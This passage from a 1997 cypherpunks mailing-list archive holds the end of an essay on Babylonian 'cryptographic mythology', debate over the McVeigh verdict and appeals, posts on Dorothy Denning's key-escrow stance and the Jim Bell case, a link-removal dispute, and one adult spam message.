protection, chained the Mad God at the Battle. Sealed the Ancient Ones in their Caves, behind the Gates. [...] MARUTUKKU truly is the refuge of his land, city, and people. Unto him shall the people give praise forever. All praise the MARUTUKKU! My search had born a ripe and tasty fruit indeed. The quest for a cryptographic mythology was complete. Or was it? The words of Hume kept coming back to me and I had a nagging feeling that there was some substance in them. If MARUTUKKU was my exquisite cryptographic good, of wit, effusive joy, ravishing pleasure and flattering hope; then where was the counter point? The figure to its ground - the sharper evil, the madness, the melancholy, the most cruel lassitudes and disgusts and the severest disappointments. Was Hume right? Because if he was, there was only one organisation this string of hellish adjectives could represent. The cryptographic devil with its 500,000 sq feet of office space in Maryland. But surely there could be no reference to such an organisation in the 4,000 year old Babylonian tablets. The idea was preposterous. Wasn't it? TABLET VII OF THE ENUMA ELISH: ESIZKUR shall sit aloft in the house of prayer; May the gods bring their presents before him, that from him they may receive their assignments; none can without him create artful works. Four black-headed ones are among his creatures; aside from him no god knows the answer as to their days. It's a cold and wintry night, here in Melbourne. Despite this, the gusts of wind and rain seem to be unusually chilling. What had I, in my search for a cryptographic mythology, stumbled onto? I look hard at the seven letters E-S-I-Z-K-U-R. A frown turns to a smile and then a dead pan stare. I write down: IRK ZEUS -- Prof. Julian Assange |If you want to build a ship, don't drum up people |together to collect wood and don't assign them tasks proff at iq.org |and work, but rather teach them to long for the endless proff at gnu.ai.mit.edu |immensity of the sea. -- Antoine de Saint Exupery From bennett_t1 at popmail.firn.edu Mon Jun 2 19:51:11 1997 From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu) Date: Tue, 3 Jun 1997 10:51:11 +0800 Subject: McVeigh In-Reply-To: <199706030020.TAA04784@manifold.algebra.com> Message-ID: <3393770E.786D@popmail.firn.edu> Igor Chudov @ home wrote: > > Anonymous wrote: > > > > On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: > > > Timothy McVeigh was found guilty on all counts today. I am not > > > surprised. People will believe anything the govt. says, and besides, > > > the governments lawyers were obviously more expensive than McVeigh's. > > > This is a sad day for all anti-government haters. > > > > Yes, poor Tim Mcveigh. If he's innocent then he is one more victim > > of the OKC bomber. > > > > Tim May: "broken eggs and all that" > > Is that the end of the story? I understand it that he can appeal, and will. > > - Igor. Do you honestly think it will work? don't hold your breath. From hallam at ai.mit.edu Mon Jun 2 19:56:25 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Tue, 3 Jun 1997 10:56:25 +0800 Subject: McVeigh In-Reply-To: <33934A8F.6114@popmail.firn.edu> Message-ID: <3393682D.167E@ai.mit.edu> Anonymous wrote: > > On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: > > Timothy McVeigh was found guilty on all counts today. I am not > > surprised. People will believe anything the govt. says, and besides, > > the governments lawyers were obviously more expensive than McVeigh's. > > This is a sad day for all anti-government haters. > > Yes, poor Tim Mcveigh. If he's innocent then he is one more victim > of the OKC bomber. I'm surprised at the concern. After all I've not noticed militia supporters and appologists speaking out against the death penalty. If one is driving away from the scene of the biggest single terrorist incident on US soil one is probably well advised to both have license plates on the car and not be carrying unlicensed firearms. If one is arrested its probably not advisable to counter interrogation by refusing to give more than name rank and serial number, a request to see a lawyer is probably a more sensible choice. The one problem I have with the trial is the leaking of the defense notes. I suspect that they are genuine and that McVeigh really did confess. In the UK publication would be barred for the duration of the trial and heavy jail sentences imposed since the right to a fair trial is considered a reasonable justification for a temporary bar on the right to free speech. However I would not argue that the trial be halted as a result since one possible explanation is that the defense saw that there was no chance of aquital and gambled on gaining a mistrial. $10 million for 5 days of defense evidence tends to suggest that there was not much evidence to show. Appologists for McVeigh should consider that his actions did not advance the militia cause an iota, it destroyed it and along with it much of the right wing fringe. It forced Rush Limbaugh off television and many right wing hosts off radio. The sympathy shown for the bomber's motives made the country aware that it did not share the anti-government sentiment. Clinton's poll recovery dates precisely from the moment of the Oaklahoma bomb. If you read the propaganda being generated durning the budget impasse its pretty ovbvious that Clinton was successful in portraying Newt as a legislative version of McVeigh, Newt had of course alligned himself with the most extreme of the talk show hosts Liddy and Limbaugh when he became speaker. McVeigh ripped the heart out of the militia movement, he demonstrated what it was really about. Ironically the Oaklahoma bombing may have had precisely the effect McVeigh desired but in a very different sense. It was a wake up call to defend the country from fascism but the fascist threat was McVeigh and the millitia movement. The millitia movement have only two possible scripts at this point and one might well be denied them. They can either admit the nature of their cause and claim McVeigh as a martyr, this probably guarantees them extinction but then again Hitler recovered from the beer hall putsch. Alternatively they can loudly claim that McVeigh was "framed" in the same way that other neo-NAZIs on the net claim the holocaust a fake, i.e. so that nobody really believes it. I suspect that this script will be denied them because it would require McVeigh to go to the execution chamber proclaiming his innocence and this is something he has curiously failed to do so far. I'm not a trained psychologist but my experience in this area suggests that a claim of responsibility and publication of some document that serves as a political manifesto is very likely. It an ego thing... Phill From jya at pipeline.com Mon Jun 2 19:58:15 1997 From: jya at pipeline.com (John Young) Date: Tue, 3 Jun 1997 10:58:15 +0800 Subject: From Inter@ctive Week: Denning no longer backing key escrow? Message-ID: <1.5.4.32.19970603014803.00988558@pop.pipeline.com> Professor Denning has an evolving statement of her position on encryption policy, the latest dated May 26, 1997: http://guru.cosc.georgetown.edu/~denning/crypto/position.html Excerpts: "I do not advocate domestic regulations mandating key recovery. Neither do I advocate that cryptography necessarily be free of all regulation, including export controls. I constantly struggle with the issues and do not see easy answers." "I support the program of the Clinton Administration to liberalize export controls for key recovery products, to adopt key recovery within federal agencies, and to promote the voluntary use of key recovery technologies. I believe that key recovery can be done without compromising privacy and security, but acknowledge that there are also costs and risks associated with key recovery." From bodiesrhot at hotmail.com Tue Jun 3 11:00:57 1997 From: bodiesrhot at hotmail.com (bodiesrhot at hotmail.com) Date: Tue, 3 Jun 1997 11:00:57 -0700 (PDT) Subject: Tiffany's Pictures on her web page Message-ID: <184558452539.CAA08557@bstgrlsss.com> If you are not interested in adult pictures or are under the age of 18, I apologize, DO NOT REPLY and I will GUARANTEE you will be removed from my list or you may reply to removetif at answerme.com and you will receive confirmation that you were removed, either way, I apologize and you WILL be removed from my list. Hi my name is Tiffany. I am a college student that just learned how to make a web page, so I decided to put some naughty pictures of myself on my page for everyone to see. If you want to see it, write back to me at tif at answerme.com and type "over 18" in the subject box (you will have to change the current "to" box to tif at answerme.com) If you are offended by nudity, Do Not Reply and I will take you off my mailing list. -Tiffany -Tiffany From mpd at netcom.com Mon Jun 2 20:02:12 1997 From: mpd at netcom.com (Mike Duvos) Date: Tue, 3 Jun 1997 11:02:12 +0800 Subject: McVeigh In-Reply-To: <199706030020.TAA04784@manifold.algebra.com> Message-ID: <199706030103.SAA24459@netcom3.netcom.com> Igor writes: > Is that the end of the story? I understand it that he can appeal, and > will. One of the major flaws of the Criminal Justice System in this country is that one can only appeal based on procedural issues. No one, after a trial has concluded, may ever challenge the trial verdict. They may only argue that the proper ritual was not followed, and higher courts are very reluctant to disagree with the actions of lower courts, preferring instead to state that the errors committed would likely not have affected the outcome. It gets even worse than that. Many states, Texas amongst them, have a time limit for the introduction of new evidence after a trial, even if it completely exonerates the defendent, and are prefectly willing to execute someone as long as they have been given "due process," even if it has been clearly demonstrated that they are not guilty. Thus the Sheeple are led by their politicians to ridicule the numerous often-frivilous appeals defendents engage in, irrespective of the fact that frivilous appeals are the only ones allowed under law, the defendant having no right at all to suggest that twelve Sheeple being performed for by the local prosecutor produced something other than a Biblically inerant verdict. McVeigh therefore has no chance at all at getting another hearing on the facts of the case. He might claim that the confidential attorney/client work product stolen from the defense team computer on the eve of the trial and touted in papers nationwide as a "confession" poisoned the jury pool. But even that has little luck at succeeding. The only difference between Tim McVeigh and Richard Jewell is that the government stopped the hatchet job on Jewell in midstream. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From lucifer at dhp.com Mon Jun 2 20:03:45 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Tue, 3 Jun 1997 11:03:45 +0800 Subject: okc trial Message-ID: <199706030116.VAA09653@dhp.com> Kirk Fort wrote: > I hope Tim McVeigh frys. His friend Terry too. The country needs to be sent a strong message that the lives in OKC were much more valuable than those in Waco. McVeigh is only guilty of 167 counts of murder. One of those killed in the blast was a Branch Davidian. (McVeigh will receive a government paycheck for that death.) TruthMonger From adam at homeport.org Mon Jun 2 20:04:50 1997 From: adam at homeport.org (Adam Shostack) Date: Tue, 3 Jun 1997 11:04:50 +0800 Subject: From Inter@ctive Week: Denning no longer backing key escrow? In-Reply-To: <199706022353.TAA06529@dhp.com> Message-ID: <199706030134.VAA19660@homeport.org> I think that this is an inappropriate attack, really. Dorothy is not an idiot, and I don't think her opinions are for sale. She fell in with a bad crowd that sold her a bill of goods. She's getting over it. Sheesh. | Will Rodger wrote: | > Here's an interesting question: | > What happens when your star technical witness tells others she's no longer | > your witness at all? | | > Denning now says she has doubts... | > "Maybe export controls should be lifted," Denning said. "But I'm not saying | > that all controls should be lifted. I've gotten into a state where I don't | > know and I'm not sure that I ever knew." | | Translation: Denning is waiting for the check from Sun Microsystems | to clear before she finally makes up her mind. | | TruthMonger | -- "It is seldom that liberty of any kind is lost all at once." -Hume From jya at pipeline.com Mon Jun 2 20:07:29 1997 From: jya at pipeline.com (John Young) Date: Tue, 3 Jun 1997 11:07:29 +0800 Subject: Jim Bell 4 Message-ID: <1.5.4.32.19970603011048.0095ad88@pop.pipeline.com> I spoke briefly this afternoon with Kelly Miller, the clerk of the district court handling Jim's case, and Peter Avenia, the federal defender appointed to represent him. Not much news and no new documents have been released. Jim is still in jail and will remain until the grand jury indicts or not -- within 30 days, I believe. According to Avenia, the Magistrate Arnold decided to hold Jim at a detention hearing a week ago Friday. That the magistrate chose to do so after hearing the complaining agent's allegations of Jim's danger to the public and even though a pre-trial services report favored Jim's release. Avenia's offer to carefully monitor Jim if he was released was declined. Avenia would not disclose much beyond explaining federal procedures, citing client confidentiality. However, he said that during the hearing emphasis was given to AP in assessing Jim's threat to the public. Miller and Avenia were cordial. Here're telephone numbers: Kelly Miller: 1-253-593-6754 Peter Avenia: 1-253-593-6710 From kirkfort at teleplex.net Mon Jun 2 20:08:29 1997 From: kirkfort at teleplex.net (Kirk Fort) Date: Tue, 3 Jun 1997 11:08:29 +0800 Subject: okc trial Message-ID: <199706030148.VAA26888@teleplex.net> -----BEGIN PGP SIGNED MESSAGE----- he has been convicted on the 11 (I believe) federal employees. He has yet be tried on the other 156. I believe that the state of Oklahoma is going to prosecute that case. The 11 deaths should be enough though, for the maximum penalty. Kirk - ---------- > From: lucifer Anonymous Remailer > To: cypherpunks at toad.com > Subject: Re: okc trial > Date: Monday, June 02, 1997 9:16 PM > > Kirk Fort wrote: > > I hope Tim McVeigh frys. His friend Terry too. > > The country needs to be sent a strong message that the lives in OKC > were much more valuable than those in Waco. > McVeigh is only guilty of 167 counts of murder. One of those killed > in the blast was a Branch Davidian. (McVeigh will receive a government > paycheck for that death.) > > TruthMonger > -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBM5N1PFigvzmuAps5AQGJfAL/d70nJJzk69/Cq1JJWxlxA0SGr8EVWA32 vgpuwuAwHgdiwClSFGFexou6vNkLQW+92OvKPK0j/5NsPq6jtR4eYNaNpKOKfE+a xQxk3oQHrwco2ZwEdaCAGO1Wm7Ut7oPE =nuP8 -----END PGP SIGNATURE----- From ravage at EINSTEIN.ssz.com Mon Jun 2 20:09:40 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Tue, 3 Jun 1997 11:09:40 +0800 Subject: Webpage picketing?... Message-ID: <199706030135.UAA13557@einstein.ssz.com> Hi, I have been looking at how to impliment picketing on the web. To date I have been unable to come up with a way to force a connection to one machine to go through a third machine in order to express some view about the original target. This idea came to me while watching some folks picket a local grocer over something I couldn't make out (the signs were poorly done). It occured to me that since one could argue that the links between sites are public avenues a site could 'picket' another site. The question became at this point, how? So far I have been unable to figure a way out. Any ideas you might care to share with us all? _______________________________________________________________________ | | | No people do so much harm as those who go about doing good. | | | | Mandell Creighton | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From ravage at EINSTEIN.ssz.com Mon Jun 2 20:10:41 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Tue, 3 Jun 1997 11:10:41 +0800 Subject: Remove this link immediately (fwd) Message-ID: <199706030155.UAA13668@einstein.ssz.com> Forwarded message: >From don at tinaja.com Mon Jun 2 20:49:50 1997 Message-ID: <33937E16.2BE at tinaja.com> Date: Mon, 02 Jun 1997 19:14:46 -0700 From: Don Lancaster Reply-To: don at zekes.com Organization: Synergetics X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 To: Jim Choate Subject: Re: Remove this link immediately References: <199706022354.SAA13080 at einstein.ssz.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jim Choate wrote: > > Hi Don, > > > Your hackers resource page contains a link to my GURU'S LAIR WEB site > > at http://www.tinaja.com > > I don't have a hackers resource page, I do small office - home office > consulting. > > > > > Please remove this link. > > Please do so immediately. > > Short answer, no. If you don't want links to it don't put it on the net. > > > > > -- > > > > Don Lancaster > > > > Synergetics Press 3860 West First Street Box 809 Thatcher, AZ 85552 > > Voice phone: (520) 428-4073 email: don at tinaja.com > > Visit my GURU's LAIR web site at http://www.tinaja.com > > > > Know your acronymns: url = utterly rancid location > > net = not entirely true > > www = world wide wait > > > > Jim Choate > CyberTects > ravage at ssz.com Your actions constitute criminal libel. You will be treated accordingly. -- Many thanks, Don Lancaster Synergetics Press 3860 West First Street Box 809 Thatcher, AZ 85552 Voice phone: (520) 428-4073 email: don at tinaja.com Visit my GURU's LAIR web site at http://www.tinaja.com Know your acronymns: url = utterly rancid location net = not entirely true www = world wide wait From hallam at ai.mit.edu Mon Jun 2 20:12:17 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Tue, 3 Jun 1997 11:12:17 +0800 Subject: McVeigh In-Reply-To: <199706030020.TAA04784@manifold.algebra.com> Message-ID: <339381FA.2781@ai.mit.edu> Mike Duvos wrote: > > Igor writes: > > > Is that the end of the story? I understand it that he can appeal, and > > will. > > One of the major flaws of the Criminal Justice System in this country is > that one can only appeal based on procedural issues. No one, after a > trial has concluded, may ever challenge the trial verdict. They may only > argue that the proper ritual was not followed, and higher courts are very > reluctant to disagree with the actions of lower courts, preferring instead > to state that the errors committed would likely not have affected the > outcome. This is yet another example of the result of taking the consitution too literally. The English common law idea of trial by ones peers somehow gets transmogravated into the peculiar idea that ones peers will produce an infallible verdict. Generaly the idea of trial by ones peers has been read as a protection for the defendant and that it is open to the government to grant a new trial if they chose. Appeals based on new evidence are not a matter of course in the UK but they are not unusual either. One of the ironies of the Maguire 7 and Birmingham 6 cases was that despite being widely reported in the US as miscarriges of justice no mention was made of the fact that in the US there would be no legal recourse whatsoever. Even if it was proven beyond doubt that the evidence on which the conviction was based was fraudulent there could be no appeal on that basis. > It gets even worse than that. Many states, Texas amongst them, have a > time limit for the introduction of new evidence after a trial, even if it > completely exonerates the defendent, and are prefectly willing to execute > someone as long as they have been given "due process," even if it has been > clearly demonstrated that they are not guilty. The trial was federal so the federal proceedures would apply. > The only difference between Tim McVeigh and Richard Jewell is that the > government stopped the hatchet job on Jewell in midstream. One other difference, Jewell saved lives by warning people of a bomb and McVeigh murdered 167 by planting one. A small detail perhaps in the eyes of militia appologists anxious to find any possible reason to maintain their fantasy world. Again why the sudden concern for the mechanisms of justice when one white guy is found guilty of murdering 167 people? Phill From ravage at EINSTEIN.ssz.com Mon Jun 2 20:12:46 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Tue, 3 Jun 1997 11:12:46 +0800 Subject: Remove this link immediately In-Reply-To: <33937E16.2BE@tinaja.com> Message-ID: <199706030203.VAA13705@einstein.ssz.com> Hi Don, > > Jim Choate wrote: > > > > Hi Don, > > > > > Your hackers resource page contains a link to my GURU'S LAIR WEB site > > > at http://www.tinaja.com > > > > I don't have a hackers resource page, I do small office - home office > > consulting. > > > > > > > > Please remove this link. > > > Please do so immediately. > > > > Short answer, no. If you don't want links to it don't put it on the net. > > > > > > > > -- > > > > > > Don Lancaster > > > > > > Synergetics Press 3860 West First Street Box 809 Thatcher, AZ 85552 > > > Voice phone: (520) 428-4073 email: don at tinaja.com > > > Visit my GURU's LAIR web site at http://www.tinaja.com > > > > > > Know your acronymns: url = utterly rancid location > > > net = not entirely true > > > www = world wide wait > > > > > > > Jim Choate > > CyberTects > > ravage at ssz.com > > > Your actions constitute criminal libel. > You will be treated accordingly. > -- > Many thanks, > > Don Lancaster > > Synergetics Press 3860 West First Street Box 809 Thatcher, AZ 85552 > Voice phone: (520) 428-4073 email: don at tinaja.com > Visit my GURU's LAIR web site at http://www.tinaja.com > > Know your acronymns: url = utterly rancid location > net = not entirely true > www = world wide wait > No more so than your trying to decide what bookstore might carry the magazines your articles appear in. Further more, even if your page were commercial access only that would in no way prohibit me from linking to it, unless you care to claim that a library or used bookstore with a computerized listing of your articles constitutes libel (it doesn't). Give me a break and go pick a fight you can win. And if you are serious please enough with the vailed threats, just give me your lawyers name and number like a good little boy. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From whgiii at amaranth.com Mon Jun 2 20:25:48 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 3 Jun 1997 11:25:48 +0800 Subject: McVeigh Message-ID: <199706030310.WAA25273@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5OLyI9Co1n+aLhhAQFwwQP/UjaOJsK5+H2C+/lvlzqHOmWpBtoBiWv5 j41u1jFpl7z8U5Tzdw6k3TZ9NgWfbtrGoKB+0tvGpGElWrh0zxCWJ5EaQGrfDKtg UsuErzl9wzqBLZNo7vzUaRFxdOI6cbO+MxP/Xg5rv4Smka9sS6XekRu/v/cxnhwB zjkchBbPvV8= =OZyz -----END PGP SIGNATURE----- From whgiii at amaranth.com Mon Jun 2 20:30:25 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 3 Jun 1997 11:30:25 +0800 Subject: McVeigh Message-ID: <199706030310.WAA25264@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5OLu49Co1n+aLhhAQEtRwP/eQV8Ecl4fsxFgAYCLXjR1SaMnhbi5uXp QoiO18fNJ0bPfNmuVP7s57BvBbwilEvXZSHDT3HfHFOxQxM/YIujoB2QmNma3gex kZxkGj+B2AXxEofZvLgq1o5t5k/mKU9LhMQzNMyXkWGk9hCXda2M+0+2QRXWFoav qfLdvgchNaA= =7ck9 -----END PGP SIGNATURE----- From whgiii at amaranth.com Mon Jun 2 20:32:39 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 3 Jun 1997 11:32:39 +0800 Subject: McVeigh Message-ID: <199706030310.WAA25254@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- In <199706030020.TAA04784 at manifold.algebra.com>, on 06/02/97 at 07:20 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >> >> Tim May: "broken eggs and all that" >Is that the end of the story? I understand it that he can appeal, and >will. > - Igor. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5OLrY9Co1n+aLhhAQFC8wQAxmU7M6fL3U9gpFmd6kD1vSzf0twOaLnA wo1cEeO40VNyO45YeoZmZd/dLUl5LCgbyOR7MeKV8LTY9pFIxzeOdJwpoM+KT6z0 2gjBniplzhHYrq25opR3tqkxenooIO+zsNN+bulYF9XIv3wIi+zGwEnCLZn/VR8h xGQl6RhrwaM= =z+h5 -----END PGP SIGNATURE----- From whgiii at amaranth.com Mon Jun 2 20:50:03 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 3 Jun 1997 11:50:03 +0800 Subject: McVeigh In-Reply-To: <339381FA.2781@ai.mit.edu> Message-ID: <199706030335.WAA25599@mailhub.amaranth.com> -----BEGIN PGP SIGNED 